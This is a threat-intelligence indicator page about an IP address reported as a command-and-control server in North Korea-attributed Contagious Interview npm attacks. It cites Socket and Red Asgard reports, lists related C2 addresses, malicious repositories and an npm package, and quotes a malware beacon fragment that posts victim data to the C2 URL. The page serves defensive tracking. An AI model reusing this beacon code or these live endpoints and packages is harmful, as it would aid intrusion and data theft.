← Remote Workers

144.172.104.117

144.172.104.117 is an IP address that 3 published sources report in connection with Contagious Interview activity, which public reporting attributes to North Korea (DPRK). It is cited here from Socket and Red Asgard. The earliest of those reports is dated 2025-11-26 and the most recent 2026-02-03.

ip address Contagious Interview CURATED

First seen 2025-11-26 · last seen 2026-02-03

Network

Looked up 2026-09-21 at ip-api.com. A hosting range is not evidence on its own.

Sources

• Direct-IP command-and-control endpoint for the October to November 2025 Contagious Interview npm wave; tetrismic.vercel.app is the Vercel-hosted staging endpoint Socket traced to the stardev0914 GitHub account.

  Inside the GitHub Infrastructure Powering North Korea's Contagious Interview npm Attacks — Socket · published 2025-11-26 · pulled 2026-09-21

• …post ( "http://144.172.104.117:5918/api/service/process/" + uid, { OS : os.…

  Inside the GitHub Infrastructure Powering North Korea’s Contagious Interview npm Attacks | Socket — Socket · under “VM and Sandbox Detection; Initial C2 Beacon #” · published 2025-11-26 · pulled 2026-09-01

• …OtterCookie victim C2 Active 172.86.116.178 5918 OtterCookie victim C2 Active 86.106.85.234 4558 OtterCookie victim C2 Active 144.172.104.117 5918 OtterCookie victim C2 Active 144.172.101.45 1224 OtterCookie victim C2 Active 87.236.177.9 3000 BeaverTail C2 (env08539) Active…

  Hunting Lazarus Part IV: Real Blood on the Wire — Red Asgard · under “IP Addresses” · published 2026-02-03 · pulled 2026-09-12

• …66.235.168.238, 45.59.163.55, 216.250.251.87 OtterCookie C2s (confirmed): 172.86.105.40, 172.86.116.178, 86.106.85.234, 144.172.104.117, 144.172.101.45 Detection opportunity: Any server presenting this port configuration—particularly the unusual combination of 1224,…

  Hunting Lazarus Part III: The Infrastructure That Was Too Perfect — Red Asgard · under “Both Families, Same Servers” · published 2026-02-01 · pulled 2026-10-01

Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.

Related indicators

Cited by the same report: Inside the GitHub Infrastructure Powering North Korea's Contagious Interview npm Attacks

Socket lists 397 other indicators in this source. 7 are shown, chosen across types.

• knightsbridge-dex.vercel.app domain
• tetrismic.vercel.app domain
• b22993172@gmail.com email address
• https://github.com/stardev0914 GitHub account
• stardev0914/agent.snoopybnb.wtf malicious repository
• stardev0914/bestwallet malicious repository
• vite-compiler-tools npm package

All 398 indicators from this source

Cited by the same report: Hunting Lazarus Part IV: Real Blood on the Wire

Red Asgard lists 7 other indicators in this source. 5 are shown, chosen across types.

• 147.124.212.125 IP address
• 172.86.105.40 IP address
• 172.86.116.178 IP address
• 216.250.251.87 IP address
• 66.235.168.238 IP address

All 8 indicators from this source